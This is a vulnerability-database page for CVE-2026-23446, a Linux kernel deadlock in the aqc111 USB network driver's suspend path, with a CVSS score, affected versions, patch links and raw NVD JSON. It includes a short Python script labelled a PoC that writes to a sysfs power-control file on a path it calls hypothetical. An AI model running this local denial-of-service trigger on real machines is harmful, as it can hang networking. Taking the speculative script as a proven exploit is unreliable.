CVE-2026-23446

Description

In the Linux kernel, the following vulnerability has been resolved: net: usb: aqc111: Do not perform PM inside suspend callback syzbot reports "task hung in rpm_resume" This is caused by aqc111_suspend calling the PM variant of its write_cmd routine. The simplified call trace looks like this: rpm_suspend() usb_suspend_both() - here udev->dev.power.runtime_status == RPM_SUSPENDING aqc111_suspend() - called for the usb device interface aqc111_write32_cmd() usb_autopm_get_interface() pm_runtime_resume_and_get() rpm_resume() - here we call rpm_resume() on our parent rpm_resume() - Here we wait for a status change that will never happen. At this point we block another task which holds rtnl_lock and locks up the whole networking stack. Fix this by replacing the write_cmd calls with their _nopm variants

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定受影响版本，详见Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC to trigger the deadlock by interacting with USB power management
# Requires local access and existence of the vulnerable device

import os
import sys

# Path to the vulnerable USB device (hypothetical path)
DEVICE_PATH = "/sys/bus/usb/devices/1-1/power/control"

def trigger_suspend():
    try:
        # Write 'auto' to trigger suspend/resume logic
        # This may cause the driver to enter the buggy suspend path
        with open(DEVICE_PATH, 'w') as f:
            f.write("auto")
        print("[+] Triggered device power state change")
        # Subsequent operations or system suspend may lead to the hang
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if os.path.exists(DEVICE_PATH):
        trigger_suspend()
    else:
        print("[-] Device not found. This PoC requires the specific hardware.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23446
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23446
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23446/
[4] VulDB https://vuldb.com/cve/CVE-2026-23446
[5] https://git.kernel.org/stable/c/069c8f5aebe4d5224cf62acc7d4b3486091c658a
[6] https://git.kernel.org/stable/c/3267bcb744ee8a2feabaa7ab69473f086f67fd71
[7] https://git.kernel.org/stable/c/4de6a43e8ecf961feabddf0e9d6911081d2ed218
[8] https://git.kernel.org/stable/c/621f2f43741b51f62d767eb4752fbcefe2526926
[9] https://git.kernel.org/stable/c/98e8aed64614b0c199d5f0391fbe1a4331cb5773
[10] https://git.kernel.org/stable/c/b87f361d41f9a7f1f6c426947ca815651c481376
[11] https://git.kernel.org/stable/c/cc06ac99fd78839b2d38850785731ef131d9ae26
[12] https://git.kernel.org/stable/c/d3e32a612c6391ca9b7c183aeec22b4fd24c300c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23446", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:30.317", "lastModified": "2026-04-23T20:57:00.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: aqc111: Do not perform PM inside suspend callback\n\nsyzbot reports \"task hung in rpm_resume\"\n\nThis is caused by aqc111_suspend calling\nthe PM variant of its write_cmd routine.\n\nThe simplified call trace looks like this:\n\nrpm_suspend()\n usb_suspend_both() - here udev->dev.power.runtime_status == RPM_SUSPENDING\n aqc111_suspend() - called for the usb device interface\n aqc111_write32_cmd()\n usb_autopm_get_interface()\n pm_runtime_resume_and_get()\n rpm_resume() - here we call rpm_resume() on our parent\n rpm_resume() - Here we wait for a status change that will never happen.\n\nAt this point we block another task which holds\nrtnl_lock and locks up the whole networking stack.\n\nFix this by replacing the write_cmd calls with their _nopm variants"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "E2AE4290-AAC5-41DA-9CE1-D03BA7FDF84E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.0:-:*:*:*:*:*:*", "matchCriteriaId": "1D0FE595-0CFE-4491-808B-CEF691CE7B0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/069c8f5aebe4d5224cf62acc7d4b3486091c658a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3267bcb744ee8a2feabaa7ab69473f086f67fd71", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4de6a43e8ecf961feabddf0e9d6911081d2ed218", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/621f2f43741b51 ... (truncated)